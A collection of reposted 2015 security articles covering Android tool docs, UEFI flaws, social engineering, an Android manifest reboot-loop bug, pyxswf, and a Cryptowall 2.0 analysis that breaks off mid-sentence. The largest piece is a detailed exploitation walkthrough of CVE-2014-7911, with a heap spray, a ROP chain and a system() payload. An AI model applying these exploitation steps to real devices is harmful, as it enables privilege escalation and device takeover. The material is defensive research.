231]24B9DB26B4335FC7D8A230F04F49F87B1F 20D1E60C2FE6A12C70070BF8427AFF [/TD] [TD=width: 160]ELF:Xorddos-K [Trj][/TD] [/TR] [/TABLE] Sursa: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/

Hooker: Automated Dynamic Analysis of Android Applications About Hooker Functional Description Hooker is an opensource project for dynamic analyses of Android applications. This project provides various tools and applications that can be use to automaticaly intercept and modify any API calls made by a targeted application. It leverages Android Substrate framework to intercept these calls and aggregate all their contextual information (parameters, returned values, ...). Collected information can either be stored in a distributed database (e.g. ElasticSearch) or in json files. A set of python scripts is also provided to automatize the execution of an analysis to collect any API calls made by a set of applications. Technical Description Hooker is made of multiple modules: APK-instrumenter is an Android application that must be installed prior to the analysis on an Android device (for instance, an emulator). hooker_xp is a python tool that can be use to control the android device and trigger the installation and stimulation of an application on it. hooker_analysis is a python script that can be use to collect results stored in the elasticsearch database. tools/APK-contactGenerator is an Android application that is automatically installed on the Android device by hooker_xp to inject fake contact informations. tools/apk_retriever is a Python tool that can be use to download APKs from various online public Android markets. tools/emulatorCreator is a script that can be use to prepare an emulator. You'll have to edit this script in order to specify your SDK home and stuff. More Information Website: https://github.com/AndroidHooker/hooker FAQ is available here Bug Tracker: Bug and feature requests are organized in GitHub Issues Email: android-hooker@amossys.fr Twitter: Follow authors account (@Tibapbedoum and @Lapeluche) Getting Started We developped Hooker using our Debian 64-bits computers and as so, it may fail to execute properly on other systems due to improper paths or parameters. Your help to identify those incompatibilities is highly appreciated. Please report an issue in our Bug Tracker if you meet any error while using it. In order to use Hooker you need at least one server on which you've installed: python 2.7, elasticsearch 1.1.1, android SDK API16 (Android 4.1.2), androguard 1.9. Setup your ElasticSearch Host This step is related the elastic search installation. Please download and follow elasticsearch online documentation: Elasticsearch.org Download ELK | Elasticsearch. You can either install the elasticsearch on a single host or deploy a cluster of elasticsearch nodes. Setup Android SDK You can download Android bundle here: Download Android Studio and SDK Tools | Android Developers. If you want to use the Hooker install script, you have to: Make sure to set your ANDROID_HOME environment variable: $ export ANDROID_HOME=/path/to/your/sdk/folder Download SDK APIs from your SDK manager (Hooker has been tested with API 16, but should work with more recent versions). Build your reference Android Virtual Device (AVD) Create a new AVD from scratch. If you want to fit our experience, please choose the following parameters: Nexus One, Target: Android 4.1.2, Memory option: 512 Mb, Internal Storage: 500 Mb, SDCard: 500 Mb (you must have an SDcard storage if you want Hooker to work properly), Enable snapshot, [*]Launch your new AVD with: Save to snapshot, [*]Run script tools/emulatorCreator/prepareEmulator.sh to install and prepare your emulator, [*]In your android system: disable the lockscreen security: Menu > System Settings > Security > Screen lock > None, open superuser app, validate Okay and quit, open substrate app, click Link Substrate Files, allow substrate, and reclick on Link substrate Files. Then click Restart System (Soft), [*]Wait for system to start properly and close the emulator, [*]Your reference AVD is now ready! Configure the host where Hooker is executed If your elasticsearch host is on a different host than your android emulator, you will need to redirect traffic throw network. In order to do this, you can use socat: $ socat -s -v TCP4-LISTEN:9200,fork,ignoreeof,reuseaddr TCP4:192.168.98.11:9200,ignoreeof If you have an error concerning OpenGLES emulation (Could not load OpenGLES emulation library), you have to edit your ldconfig (as root): # echo "/path/to/your/sdk/tools/lib" > /etc/ld.so.conf.d/android.conf # ldconfig Play HOOKER Playing with real devices If you want to use Hooker on real devices, please read first the specific README. Installation An install script is provided to help you build and install all necessary dependances. If you want to use this script, make sure you have the following dependances: # openjdk-6-jdk, ant, python-setuptools (just apt install them) When you are all set, run install script in the Hooker root directory: $ ./install.sh You then need to install application APK-instrumenter on your reference AVD: Launch your new AVD with: Save to snapshot option checked, Install the application using adb $ $ANDROID_HOME/platform-tools/adb install APK-instrumenter/bin/ApkInstrumenterActivity-debug.apk When the application is installed, open substrate app and click Restart System (Soft). You can then close your AVD. Setup your configuration file If you want to make a manual analysis, copy file hooker_xp/sampleManualAnalysis.conf, If you want to make an automatic analysis, copy file hooker_xp/sampleAutomaticAnalysis.conf, If you want to make an analysis on real devices, copy one of the *RealDevice* configuration files, Depending on your system configuration, customize the different parameters declared in retained configuration file. Sample configuration files are verbose++, so please read comments, In relation with previous steps, you need to specify the path to your reference AVD you just built. As the comments explain it, just put the path + name of AVD, i.e. without the .avd extension. Run your Experiment Python experiment script is in hooker_xp directory: $ cd hooker_xp && python hooker_xp.py -c yourAnalysisConfigurationFile.conf You should have python logs explaining you what is going on. Contributing We would be delighted if you could help us improve this work. Please use github features to provide your bugfixes and improvements. Authors and Sponsors The Hooker project has been initiated by Georges Bossert and Dimitri Kirchner. Both work for AMOSSYS, a French IT security company http://www.amossys.fr. License This software is licensed under the GPLv3 License. See the LICENSE file in the top distribution directory for the full license text. Sursa: https://github.com/AndroidHooker/hooker

Researchers Find Several UEFI Vulnerabilities By Eduard Kovacs on January 06, 2015 The Carnegie Mellon University CERT Coordination Center warned on Monday that serious vulnerabilities exist in the Unified Extensible Firmware Interface (UEFI), the BIOS replacement designed for improved software interoperability. The organization has published three separate advisories for security holes identified by researchers Rafal Wojtczuk of Bromium and Corey Kallenberg of The MITRE Corporation. The experts disclosed the UEFI vulnerabilities in a presentation at the Chaos Communication Congress (CCC) in Germany in late December. The first flaw identified by the experts, CVE-2014-8274, can be exploited by a local, authenticated attacker to bypass firmware write protections. According to the researchers, the issue exists because access to the boot script used by the EFI S3 Resume Boot Path is not properly restricted. “An authenticated local attacker may be able to bypass Secure Boot and/or perform an arbitrary reflash of the platform firmware despite the presence of signed firmware update enforcement. Additionally, the attacker could arbitrarily read or write to the SMRAM region. Lastly, the attacker could corrupt the platform firmware and cause the system to become inoperable,” CERT/CC noted in its advisory. The second vulnerability, CVE-2014-8273, is a race condition affecting certain Intel chipsets and it can be exploited by a local, authenticated attacker to bypass the BIOS write protection mechanism and write malicious code to the platform firmware. Another security hole disclosed by Wojtczuk and Kallenberg is a buffer overflow vulnerability (CVE-2014-8274) in the EDK1 UEFI reference implementation. “The impact of the vulnerability depends on the earliness at which the vulnerable code can be instantiated. Generally, as the boot up of the platform progresses, the platform becomes more and more locked down. Specifically, things like the SPI Flash containing the platform firmware, [system Management Mode (SMM)], and other chipset configurations become locked,” explained Wojtczuk and Kallenberg. “In an ideal (for attacker) scenario, the vulnerable code can be instantiated before the SPI flash is locked down, thus resulting in an arbitrary reflash of the platform firmware.” The advisories published by CERT/CC show that potentially affected vendors were notified in September and October. Some of these organizations have determined if their products are affected, but the status for many of them is currently “unknown.” CVE-2014-8271 has been confirmed to impact Insyde Software products. UEFI firmware from American Megatrends Incorporated (AMI) and Phoenix Technologies is affected by CVE-2014-8273. CVE-2014-8274 has been confirmed to affect AMI, Phoenix and Intel solutions, but Dell is also on the list of possibly impacted vendors. In a separate presentation at CCC, Trammell Hudson demonstrated how an attacker can make malicious modifications to the firmware of Apple MacBooks. Sursa: Researchers Find Several UEFI Vulnerabilities | SecurityWeek.Com

Social Engineering: The dangers of positive thinking The assumption that everything's okay is a risky one By Steve Ragan CSO | Jan 5, 2015 7:00 AM PT CSO Online recently spoke to a person working in the security field with a rather unique job. He's paid to break into places, such as banks and research facilities (both private and government), in order to test their resistance to social engineering and physical attacks. Rarely is he caught, but even when he is it doesn't matter, and the reason for his success is the same in each case – human nature. Caught on film: When the surveillance video starts playing, the images show a typical day at a bank somewhere in the world. Business is steady, but the lobby isn't overly packed with customers, so a single teller is working the window. [Four of the newest (and lowest) social engineering scams]Soon, the bank supervisor walks to the left in greeting. At thirty-five seconds in, Jayson Street, the Infosec Ranger at Pwnie Express, a company that specializes in creating unique hacking tools for professionals, makes his first appearance. Dressed in jeans, a DEF CON jacket and red ThunderCat high-tops, Street is taking a casual stroll behind the counter. Not only is he in the bank, he's in an area that's supposed to be secure and limited only to authorized personnel. Given the location of the bank, somewhere outside of the United States, Street is clearly not a local or a customer. He's there to perform a penetration test; in this case he's testing both physical security as well as network security, but the staff don't know this. A few seconds later, the supervisor is on screen pointing to a computer that's currently being used by an employee. Street nods his head in agreement, and moments later he's granted physical access to the system. He's plugging a USB drive into the computer's front port and running software, which requires the employee to stop working with a customer and relinquish his seat for a moment. Articol complet: Social Engineering: The dangers of positive thinking | CSO Online

Malformed AndroidManifest.xml in Apps Can Crash Mobile Devices 1:57 am (UTC-7) | by Simon Huang (Mobile Security Engineer) Every Android app comprises of several components, including something called the AndroidManifest.xml file or the manifest file. This manifest file contains essential information for apps, “information the system must have before it can run any of the app’s code.” We came across a vulnerability related to the manifest file that may cause an affected device to experience a continuous cycle of rebooting—rendering the device nearly useless to the user. The Manifest File Vulnerability The vulnerability can cause the OS to crash through two different ways. The first involves very long strings and memory allocation. Some apps may contain huge strings in their .XML files, using document type definition (DTD) technology. When this string reference is assigned to some of the tags in AndroidManifest.xml (e.g., permission name, label, name of activity), the Package Parser will require memory to parse this .XML file. However, when it requires more memory than is available, the PackageParser will crash. This triggers a chain reaction wherein all the running services stops and the whole system consequently reboots once. The second way involves .APK files and a specific intent-filter, which declares what a service or activity can do. An icon will be created in the launcher if the manifest file contains an activity definition with this specific intent-filter: <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> If there are many activities defined with this intent-filter, the same number of icons will be created in the home page after installation. However, if this number is too large, the .APK file will trigger a loop of rebooting. If the number of activities is bigger than 10,000: For Android OS version 4.4, the launcher process will undergo the reboot. For version L, the PackageParser crashes and reboots. The malformed .APK will be installed by no icon will be displayed. If the number of activities is larger than 100,000, the devices will undergo the loop of rebooting. Testing the Vulnerability, Part 1 We created an .APK file with a manifest file containing a huge string reference, as seen in Figure 1. During installation, the device reboots, seen in the logcat information in Figure 2. Figure 1. AndroidManifest with DTD huge string reference The OS crashes and reboots during installation We have tested and proven that this created APK could crash both Android OS 4.4.4, Android OS L, and older versions of the platform. Testing the Vulnerability, Part 2 We also created an application with the manifest file as shown in Figure 3, which can make Android devices undergo a loop of reboots. After installation, the device was unresponsive, save for the rebooting. A user will not even be able to uninstall the APK or switch off the device. It will simply reboot until the device runs out of the power. The only solution is to flash the ROM or install the platform again. Figure 3. AndroidManifest.xml with 100,000 icons Knowing the Risks While this vulnerability isn’t a technically a security risk, it does put devices at risk in terms of functionality. This vulnerability can essentially leave devices useless. Affected devices can be “rescued” but only if the Android Debug Bridge (ADB) is activated or enabled. The only solution would be to connect the device to a computer, boot the phone in fastboot mode, and flash the ROM. Unfortunately, such actions can only be done by highly technical users as a mistake can possibly brick a device. For this issue, we recommend that users contact customer service (if their devices are still under warranty) or a reputable repair shop. We have notified Google about this issue. Sursa: Malformed AndroidManifest.xml in Apps Can Crash Mobile Devices | Security Intelligence Blog | Trend Micro

pyxswf pyxswf is a script to detect, extract and analyze Flash objects (SWF files) that may be embedded in files such as MS Office documents (e.g. Word, Excel), which is especially useful for malware analysis. It is part of the python-oletools package. pyxswf is an extension to xxxswf.py published by Alexander Hanel. Compared to xxxswf, it can extract streams from MS Office documents by parsing their OLE structure properly, which is necessary when streams are fragmented. Stream fragmentation is a known obfuscation technique, as explained on Ixia It can also extract Flash objects from RTF documents, by parsing embedded objects encoded in hexadecimal format (-f option). For this, simply add the -o option to work on OLE streams rather than raw files, or the -f option to work on RTF files. Usage Usage: pyxswf.py [options] <file.bad> Options: -o, --ole Parse an OLE file (e.g. Word, Excel) to look for SWF in each stream -f, --rtf Parse an RTF file to look for SWF in each embedded object -x, --extract Extracts the embedded SWF(s), names it MD5HASH.swf & saves it in the working dir. No addition args needed -h, --help show this help message and exit -y, --yara Scans the SWF(s) with yara. If the SWF(s) is compressed it will be deflated. No addition args needed -s, --md5scan Scans the SWF(s) for MD5 signatures. Please see func checkMD5 to define hashes. No addition args needed -H, --header Displays the SWFs file header. No addition args needed -d, --decompress Deflates compressed SWFS(s) -r PATH, --recdir=PATH Will recursively scan a directory for files that contain SWFs. Must provide path in quotes -c, --compress Compresses the SWF using Zlib Example 1 - detecting and extracting a SWF file from a Word document on Windows: C:\oletools>pyxswf.py -o word_flash.doc OLE stream: 'Contents' [sUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents [ADDR] SWF 1 at 0x8 - FWS Header C:\oletools>pyxswf.py -xo word_flash.doc OLE stream: 'Contents' [sUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents [ADDR] SWF 1 at 0x8 - FWS Header [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf Example 2 - detecting and extracting a SWF file from a RTF document on Windows: C:\oletools>pyxswf.py -xf "rtf_flash.rtf" RTF embedded object size 1498557 at index 000036DD [sUMMARY] 1 SWF(s) in MD5:46a110548007e04f4043785ac4184558:RTF_embedded_object_0 00036DD [ADDR] SWF 1 at 0xc40 - FWS Header [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf How to use pyxswf in Python applications TODO python-oletools documentation Home License Install Contribute, Suggest Improvements or Report Issues Tools: olebrowse oleid olemeta oletimes olevba pyxswf rtfobj Sursa: https://bitbucket.org/decalage/oletools/wiki/pyxswf

CVE-2014-7911 – A Deep Dive Analysis of Android System Service Vulnerability and Exploitation posted by: Yaron Lavi and Nadav Markus on January 6, 2015 6:00 AM In this post we discuss CVE-2014-7911 and the various techniques that can be used to achieve privilege escalation. We also examine how some of these techniques can be blocked using several security mechanisms. The Vulnerability CVE-2014-7911 was presented here along with a very descriptive POC that was written by Jann Horn. Described briefly, the ObjectInputStream doesn’t validate that the serialized object’s class type, as described in the serialized object, is actually serializable. It creates an instance of the wanted class anyway with the deserialized values of the object. Therefore, one can create object of any class, and control its private variables, by serializing objects from another class, that would be deserialized as data members of the wanted class. Let’s look at the example below: The following snippet (copied from the original POC) shows a spoofed BinderProxy instance: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 [/TD] [TD=class: crayon-code]package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable { private static final long serialVersionUID = 0; public long mObject = 0x1337beef; public long mOrgue = 0x1337beef; }[/TD] [/TR] [/TABLE] In the POC code that was provided above, an attacker serializes a class named AAdroid.os.BinderProxy and changes its name to android.os.BinderProxy after marshalling it, and before sending it to the system server. android.os.BinderProxy class isn’t serializable, and it involves native code that handles mObject and mOrgue as pointers. If it was serializable, then the pointers valued wouldn’t be deserialized, but their dereferenced values would. The deserialization code in ObjectInputStream deserializes the sent object as an android.os.BinderProxy instance, leading to type confusion. As mentioned earlier, this type confusion results in the native code reading pointer values from the attacker’s spoofed android.os.BinderProxy, supposedly private fields, which the attacker modified. Specifically, the field of interest is mOrgue. The android.os.BinderProxy contains a finalize method that will result in native code invocation. This native code uses mOrgue as a pointer. This is the finalize method: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 [/TD] [TD=class: crayon-code]protected void finalize() throws Throwable { destroy(); super.finalize(); return; Exception exception; exception; super.finalize(); throw exception; }[/TD] [/TR] [/TABLE] And this is the declaration of destroy: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]private final native void destroy();[/TD] [/TR] [/TABLE] The native destroy function: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 11 12 13 [/TD] [TD=class: crayon-code]static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj) { IBinder* b = (IBinder*) env->GetIntField(obj, gBinderProxyOffsets.mObject); DeathRecipientList* drl = (DeathRecipientList*) env->GetIntField(obj, gBinderProxyOffsets.mOrgue); LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl); env->SetIntField(obj, gBinderProxyOffsets.mObject, 0); env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0); drl->decStrong((void*)javaObjectForIBinder); b->decStrong((void*)javaObjectForIBinder); IPCThreadState::self()->flushCommands(); }[/TD] [/TR] [/TABLE] Eventually, the native code invokes decStrong (i.e., in drl->decStrong((void*)javaObjectForIBinder) Note that at this point, drl is controlled by an attacker, as evident by the line [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]DeathRecipientList* drl = (DeathRecipientList*) env->GetIntField(obj, gBinderProxyOffsets.mOrgue);[/TD] [/TR] [/TABLE] So decStrong is going to be called with us controlling ‘this’ pointer. Let’s take a look on decStrong code from RefBase class source: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [/TD] [TD=class: crayon-code]void RefBase::decStrong(const void* id) const { weakref_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong); #if PRINT_REFS ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c); #endif ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs); if (c == 1) { refs->mBase->onLastStrongRef(id); if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) { delete this; } } refs->decWeak(id); }[/TD] [/TR] [/TABLE] Note the line refs->mBase->onLastStrongRef(id); These lines will eventually lead to arbitrary code execution. In the following screenshot of RefBase::decStrong assembly, the attacker controls r0(‘this pointer’) Exploitation The first use of the controlled register r0, which contains the ‘this’ pointer (drl) is in these lines: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 [/TD] [TD=class: crayon-code]weakref_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong);[/TD] [/TR] [/TABLE] These lines are translated to the following assembly: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 [/TD] [TD=class: crayon-code]ldr r4, [r0, #4] # attacker controls r4 mov r6, r1 mov r0, r4 blx <android_atomic_dec ()>[/TD] [/TR] [/TABLE] First, r4 is loaded with the mRefs variable. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]ldr r4, [r0, #4] # attacker controls r4[/TD] [/TR] [/TABLE] Note that r0 is the ‘this’ pointer of the drl, and mRefs is the first private variable following the virtual function table, hence it is 4 bytes after ‘this’ pointer. Then, android_atomic_dec is being called with &refs->mStrong [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code] const int32_t c = android_atomic_dec(&refs->mStrong);[/TD] [/TR] [/TABLE] This is translated to: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]mov r0, r4 blx <android_atomic_dec ()>[/TD] [/TR] [/TABLE] r0 now contains &refs->mStrong. Note that the mStrong variable is the first data member of refs (in the class weakref_impl), and that this class contains no virtual functions, hence it does not contain a vtable, so the mStrong variable is at offset 0 of r4. As one can tell – the line refs->removeStrongRef(id); is not present in the assembly simply because the compiler optimized and omitted it, since it has an empty implementation, as one can see from the following code: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]void removeStrongRef(const void* /*id*/) { }[/TD] [/TR] [/TABLE] Following the call to android_atomic_dec are these lines of code: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]if (c == 1) { refs->mBase->onLastStrongRef(id);[/TD] [/TR] [/TABLE] These are translated to the following assembly lines: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 [/TD] [TD=class: crayon-code]cmp r0, #1 bne.n d1ea ldr r0, [r4, #8] mov r1, r6 ldr r3, [r0, #0] ldr r2, [r3, #12] blx r2 [/TD] [/TR] [/TABLE] Note that android_atomic_dec returns the value of the specified memory address before the decrement took place. So in order to invoke refs->mBase->onLastStrongRef(id) (blx r2), we must get refs->mStrong to get the value of 1. As we can see up to now, an attacker has several constraints that he must adhere to if he wishes to gain code execution: drl (our first controlled pointer, i.e. r0 when entering decStrong) must point to a readable memory location. refs->mStrong must have the value of 1 The dereference chain at the line refs->mBase->onLastStrongRef(id) must succeed and eventually point to an executable address. In addition, an attacker must overcome the usual obstacles of exploitation – ASLR and DEP. One can employ basic techniques to fulfill these requirements and overcome the mentioned security mechanisms, including heap spraying, stack pivoting and ROP. Let’s look at these in detail. Heap spray An attacker’s first step will be to get a reliable readable address with arbitrary data – most commonly achieved by a heap spray. The system server provides several core functionalities for the android device, many of which are exposed to applications via various service interfaces. A common paradigm to invoke a service in the context of the system server is like the following: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]LocationManager lm = (LocationManager)getSystemService(LOCATION_SERVICE);[/TD] [/TR] [/TABLE] The acquired manager allows us to invoke functionality in the system server on behalf of us, via IPC. Several services can be used by us for a heap spray, but for the purpose of this blog, we decided to use a heap spray that requires special app permissions, to prevent normal applications from utilizing this technique. The location manager allows us to register test providers via the function addTestProvider – allowing us to pass an arbitrary name that contains arbitrary data. As we mentioned, one should enable developer options and enable the mock locations option in order to utilize this. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]lm.addTestProvider(builder.toString(), false, false, false, false, false, false, false, 1, 1);[/TD] [/TR] [/TABLE] Note that this heap spray does have its limitations – the data is sprayed using the name field, which is Unicode. This imposes a limitation – we are limited to byte sequences which correspond to valid Unicode code points. Spray addresses manipulation After spraying the system server process memory address space, we encountered another issue – our chosen static address indeed pointed to readable data on each run, but not to the exact same offset in the spray chunk each time. We decided to solve this problem by crafting a special spray that contains decreasing pointer values. Here is an illustration of the sprayed buffer, followed by an explanation of its structure: STATIC_ADDRESS is the arbitrarily chosen static pointer in mOrgue. GADGET_BUFFER_OFFSET is the offset of GADGET_BUFFER from the beginning of the spray. In each run of system server process, the static address we chose points to our controlled data, but with different offsets. r0 (which always hold the same chosen STATIC_ADDRESS) can fall to any offset in the “Relative Address Chunk”, therefore point to any of the STATIC_ADDRESS + GADGET_BUFFER_OFFSET – 4N addresses, on each time. Note the following equation: GADGET_BUFFER = Beginning_of_spray + GADGET_BUFFER_OFFSET In the case that r0 (=STATIC_ADDRESS) points to the beginning of the spray : STATIC_ADDRESS = Beginning_of_spray. Hence: GADGET_BUFFER = STATIC_ADDRESS + GADGET_BUFFER_OFFSET On any other case – r0(=STATIC_ADDRESS) points to an offset inside the spray (the offset is dword aligned): STATIC_ADDRESS = Beginning_of_spray + 4N Beginning_of_spray = STATIC_ADDRESS – 4N. Hence: GADGET_BUFFER = STATIC_ADDRESS + GADGET_BUFFER_OFFSET – 4N The higher offset in the chunk that r0(=STATIC_ADDRESS) points to, the more we have to subtract to make the expression: STATIC_ADDRESS + GADGET_BUFFER_OFFSET – 4N points to GADGET_BUFFER. No matter to which offset in the chunk r0 points to, dereference it would give us the current address of GADGET_BUFFER. But where do we get if we dereference the other addresses in the chunk? As farther as we go above r0, the farther the dereference would bring us below GADGET_BUFFER. Now that we have a valid working spray, let’s go back to analyzing the assembly. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 [/TD] [TD=class: crayon-code]ldr r4, [r0, #4] mov r0, r4 blx <android_atomic_dec ()> cmp r0, #1[/TD] [/TR] [/TABLE] So to overcome the second constraint – in which refs->mStrong must contain 1 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]ldr r4, [r0, #4] --> r4=[sTATIC_ADDRESS + 4] --> r4 = GADGET_BUFFER-4[/TD] [/TR] [/TABLE] [r4] should contain 1, hence [GADGET_BUFFER – 4] should contains 1. Now, after atomic_dec return value is indeed 1, we should overcome the other dereferences to get to the blx opcode. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 [/TD] [TD=class: crayon-code]cmp r0, #1 bne.n d1ea r4=GADGET_BUFFER - 4 ldr r0, [r4, #8] r0 = [GADGET_BUFFER - 4 + 8] <-> r0 = [GADGET_BUFFER + 4] mov r1, r6 ldr r3, [r0, #0] r3 = [[GADGET_BUFFER + 4] + 0] <-> r3 = [[GADGET_BUFFER + 4]][/TD] [/TR] [/TABLE] Note in order to succeed with this dereference, [GADGET_BUFFER + 4] should contain a KNOWN valid address. We arbitrarily chose the known address – STATIC_ADDRESS. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 [/TD] [TD=class: crayon-code]ldr r2, [r3, #12] r2 = [GADGET_BUFFER + 12] blx r2[/TD] [/TR] [/TABLE] So now we can build the GADGET_BUFFER as following: ROP CHAIN We chose to run the “system” function with a predefined command line. In order to control the r0 register, and make it point to the command line string, we should use some gadgets that would manipulate the registers. We got only one function call, so to take control on the execution flow with our gadgets, we should use a stack pivot gadget. Therefore, the first function pointer is the preparations for the stack pivot gadget: Where r5 equals to the original r0 (STATIC_ADDRESS) as one can see at the beginning of decStrong. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 [/TD] [TD=class: crayon-code]mov r0,r5 - Restoring r0 to its original value. ldr r7, [r5] r7 = [r5] r7=[sTATIC_ADDRESS] r7 = GADGET_BUFFER ldr r2, [r7,#0x54] r2 = [r7 + 0x54] r2 = [GADGET_BUFFER + 84] blx r2[/TD] [/TR] [/TABLE] Call to the next gadget – which should be 21(=0x54 / 4) dwords from the beginning of GADGET_BUFFER This gadget does the Stack Pivoting. SP register points to r7 – therefore the stack is under our control and points to GADGET_BUFFER. Ret to the next gadget that should be kept 8 dwords from the beginning of GADGET_BUFFER (Note the pop {r4-r11,pc} instruction, which pops 8 registers off the stack before popping pc). [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]r0 = [r0 + 0x38] r0 = GADGET_BUFFER - 0x38 (As explained before about the spray)[/TD] [/TR] [/TABLE] Now r0 points to 56 (0x38) bytes before GADGET_BUFFER, so we have 52 command line chars, excluding the “1” for atomic_dec. Ret to the next gadget that should be kept 10 dwords from the beginning of GADGET_BUFFER (2 dwords after the current gadget – pop {r3,pc}) That is the last gadget where we call system! Here is an updated layout of the memory for this to happen: Android and ARM There are two important issues we should keep in mind when choosing the gadgets addresses. There is an ASLR mechanism on Android, and the addresses wouldn’t be the same on each and every time. In order to know the correct address, we use the fact that both system server process, and our app are forked from the same process – ZYGOTE, meaning we share the same modules. So we get the address of the necessary modules in system server process, by parsing the maps file of our process. ‘maps’ is a file in /proc/<pid>/maps which contains the memory layout and the loaded modules addresses. On ARM CPU, there are two modes of opcode parsing: ARM (4 bytes per opcode) and THUMB (variable bytes per opcode – 2 or 4). Meaning that the same address pointed by PC, could be parsed differently by the cpu when running in different modes. Parts of the gadgets we use are in the THUMB mode. In order to make the processor change its mode when parsing those gadgets, we change the pointer address from the actual address, to (address & 1) – turning on the LSB, which make the cpu jmp to the correct address with THUMB mode. PAYLOAD As described before, we use the “system” function to run our command line. The length of the command line is limited, and actually a command line can’t be used for every purpose. So we decided to use a pre compiled elf, that being written to the file system, as an asset of our app. This elf can do anything with uid 1000 (the uid of system server). The command line we send as an argument to system is simply – “sh -c ” + file_path CONCLUSION Android has some common security mechanisms such as ASLR and DEP which should make an exploitation of vulnerability harder to achieve. Moreover, every application runs in its own process, so the IPC communication could be validated, and making guesses on memory layout shouldn’t be intuitive. On the other hand, the fact that every process is forked from the same process makes ASLR irrelevant for vulnerabilities within zygote’s sons and the binder connection from every process to system server could lead to heap spray as seen on this post. Those issues appear to be inherent in the Android OS design. Palo Alto Networks has been researching an Android security solution that based on our lab testing would have blocked this exploit (as well as other exploits) with multiple exploit mitigation modules. We hope to share more details in the coming months. Sursa: CVE-2014-7911 – A Deep Dive Analysis of Android System Service Vulnerability and Exploitation - Palo Alto Networks BlogPalo Alto Networks Blog

Ransomware on Steroids: Cryptowall 2.0 Talos Group | January 6, 2015 at 7:14 am PST This post was authored by Andrea Allievi and Earl Carter. Ransomware holds a user’s data hostage. The latest ransomware variants encrypt the user’s data, thus making it unusable until a ransom is paid to retrieve the decryption key. The latest Cryptowall 2.0, utilizes TOR to obfuscate the command and control channel. The dropper utilizes multiple exploits to gain initial access and incorporates anti-vm and anti-emulation checks to hamper identification via sandboxes. The dropper and downloaded Cryptowall binary actually incorporate multiple levels of encryption. One of the most interesting aspects of this malware sample, however, is its capability to run 64 bit code directly from its 32 bit dropper. Under the Windows 32-bit on Windows 64-bit (WOW64) environment, it is indeed able to switch the processor execution context from 32 bit to 64 bit. Initial Compromise Cryptowall 2.0 can be delivered through multiple attack vectors, including email attachments, malicious pdf files and even various exploit kits. In the sample that we analyzed, the dropper utilized CVE-2013-3660, “Win32k.sys Elevation of Privilege Vulnerability” to achieve the initial privilege escalation on X86 based machines. This exploit works on 32 bit OSs starting beginning with Vista. The dropper even includes a 64-bit DLL that is able to trigger the exploit in all the vulnerable AMD64 Windows Systems. Provided the anti-VM and anti-emulation checks pass, the Cryptowall malware is decrypted and installed on the system. Once the system is infected, the user is presented a message similar to Figure 1. Figure 1. (Click to Enlarge) Constructing the Unencrypted Cryptowall Binary To construct the unencrypted Cryptowall 2.0 code, the dropper goes through multiple stages of decryption. The main dropper is a C++ MFC application. The first-stage decryption code is located at “CMainFrame::OnCreate” in the MFC event handler. The handler builds the first-stage decryption code (at RVA +0xF3F0) and simple calls it. The first-stage decryption code opens the original dropper PE, reads from it, and decrypts a big chunk of code (second-stage). Finally it transfer the execution to the second-stage located in the external buffer. The Second stage is the last encryption layer code. It builds a simple Import Address 